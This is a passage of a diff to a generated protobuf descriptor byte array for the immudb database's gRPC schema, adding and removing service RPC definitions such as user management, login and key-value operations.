0x68, 0x6f, 0x74, 0x4d, 0x75, + 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, + 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, + 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, + 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, + 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, + 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, + 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, + 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, + 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, + 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, + 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, + 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, + 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, + 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, + 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, + 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, + 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, + 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, + 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, + 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, + 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, + 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, + 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, + 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, + 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, + 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, - 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, - 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, + 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, + 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, - 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, - 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, - 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, - 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, - 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, - 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, - 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, - 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, - 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, - 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, - 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, - 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, + 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, + 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, + 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, + 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, + 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, + 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, - 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, - 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 